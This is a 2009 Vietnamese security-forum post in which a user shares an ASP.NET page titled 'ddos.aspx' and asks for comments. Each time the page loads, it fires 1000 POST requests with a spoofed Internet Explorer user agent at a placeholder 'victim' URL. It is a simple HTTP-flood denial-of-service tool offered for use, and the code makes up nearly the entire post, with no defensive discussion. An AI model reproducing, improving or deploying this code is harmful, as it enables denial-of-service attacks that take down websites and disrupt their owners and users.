Code ddos ddos.aspx

Discussion in 'Bảo Mật - Security' started by thanhbinh, Feb 14, 2009.

  1. Offline

    thanhbinh

    • Già làng về hưu !! - banned

    Message Count:
    92
    Likes Received:
    94
    Trophy Points:
    18
    Code viết còn dỡ lắm nhưng cũng mong, có j` bà con cứ nói nha !
    Code:
    <%@ Page Language="C#" AutoEventWireup="true"  %>
    <%@ Import Namespace="System" %>
    <%@ Import Namespace="System.Web.Security" %>
    <%@ Import Namespace="System.Web" %>
    <%@ Import Namespace="System.Net" %>
    <%@ Import Namespace="System.Net" %>
    <%@ Import Namespace="System.Web.UI.HtmlControls" %>
    <%@ Import Namespace="System.IO" %>
    <%@ Import Namespace="System.Text" %>
    <%@ Import Namespace="System.Collections" %>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    
    <html xmlns="http://www.w3.org/1999/xhtml" >
    <head runat="server">
        <title>Develop by thanh binh </title>
    </head>
    <script runat="server">
        protected void Page_Load(object sender, EventArgs e)
        {
            int i = 0;
            while (i < 1000)
            {
                try
                {
                    getHTTP("http:///victim", "datapost", "refer", "Post");
                }
                catch
                {
                }
                i++;
            }
    
        }
        private void getHTTP(string url, string data, string referer, string method)
        {
            HttpWebRequest httprequest;
            Stream requeststream;
            httprequest = (HttpWebRequest)WebRequest.Create(url);
            httprequest.KeepAlive = true;
            httprequest.Method = method.ToString();
            httprequest.ContentType = "application/x-www-form-urlencoded";
            httprequest.Referer = referer.ToString();
            httprequest.ContentLength = data.Length;
            httprequest.Timeout = 100;
            httprequest.UserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)";
            requeststream = httprequest.GetRequestStream();
            requeststream.Write(Encoding.ASCII.GetBytes(data), 0, data.Length);
            requeststream.Close();
        }
    </script>
    <body>
        <form id="form1" runat="server">
        <div>
        diendanspkt.net
        </div>
        </form>
    </body>
    </html>
    

Share This Page